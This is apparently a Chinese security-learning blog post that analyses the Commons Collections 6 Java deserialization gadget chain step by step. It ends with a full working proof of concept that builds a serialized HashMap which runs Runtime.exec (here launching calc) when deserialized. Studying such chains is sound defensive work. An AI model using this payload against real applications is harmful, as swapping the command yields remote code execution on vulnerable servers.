先贴个图
0x01:
CC 6 应该是CC1 和 URLDNS 的综合,有一定联系,审一下吧
JDK版本需低于 8u71 AnnotationInvocationHandler
类的readObject()
方法在8u71以后逻辑就发生了改变,不能再利用了,所以就需要找一个绕过高版本的利用链—CommonsCollections6
分析:
cc1 的LazyMap链子 readObject -> 动态代理 invoke() -> get () -> transform () ,而在8u71 之后,readObject 变化了 ,不能再用此方式调用get ,需要另找出路。
看看公开链子:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
通过TiedMapEntry.getValue()调用 get() ,其中key为传参, 可以根据 TiedMapEntry 类的构造器获取, 因为我们需要把 LAzyMap 后半段的链街上,所以要调用的是LazyMap的get()。
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
}
这里我们需要把map = Lazymap,触发 LazyMap 的get() 方法
先构造一下基本的链子,前面跟cc1 的Lazy差不多,需要满足map=LazyMap,所以需要实例化一个TiedMapEntry。由于我们用的是map 所以这里的map传的是我们 LazyMap.decorate过后的outMap,也就是相当于传入了LazyMap。因为我们用到的是 map.get(),而key 是什么 并不重要。
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer transformers[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map outmap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outmap, "snowy");
之后再看看哪里调用了getValue()
在本类中找到了 hashCode() 方法:
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
好熟悉的 getKey().hashCode(),审计过urldns 的就清楚了,这是在HashMap中的hash方法中调用的key.hashCode()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
而HashMap类中重写了 自己的readObject() 方法,在readObject中调用了hash
return putVal(hash(key), key, value, false, true);
而我们想要调用 TiedMapEntry.hashCode ,所以我们要给key 赋值 TiedMapEntry 。value的话就随意了,所以就需要通过put传值
hashMap.put(tiedMapEntry,"snowy");
至此整条链子结束。
打断点发现了几个问题:
到此处就已经弹出了 计算器,也就是在给map 和 key 赋值完,就会弹出计算器,并且还会弹两次。
这是因为我们在 put修改值的时候,其实就已经调用了hash 方法,接着一条链就调用了
如果我们不想让他执行,可以使后面的chainedTransformer 为其他值,然后需要的时候再改回来即可:
Map outerMap == LazyMap.decorate(map, chainedTransformer);
改为
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
因为是LazyMap类的调用的这个地方。
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
而factory 是protected final Transformer factory
所以我们要反射爆破修改其值。
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,chainedTransformer);
POC
package CommonsCollections6;
import com.sun.corba.se.impl.orbutil.ObjectUtility;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//使其不自动调用
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Sentiemnt2");
//反射爆破factory
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,chainedTransformer);
//真正的触发计算器
serialize(hashMap);
unserialize("1.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
rethink
督促自己要多打断点 发现问题,而不是总参考其他文章。最后使的自己没了解透。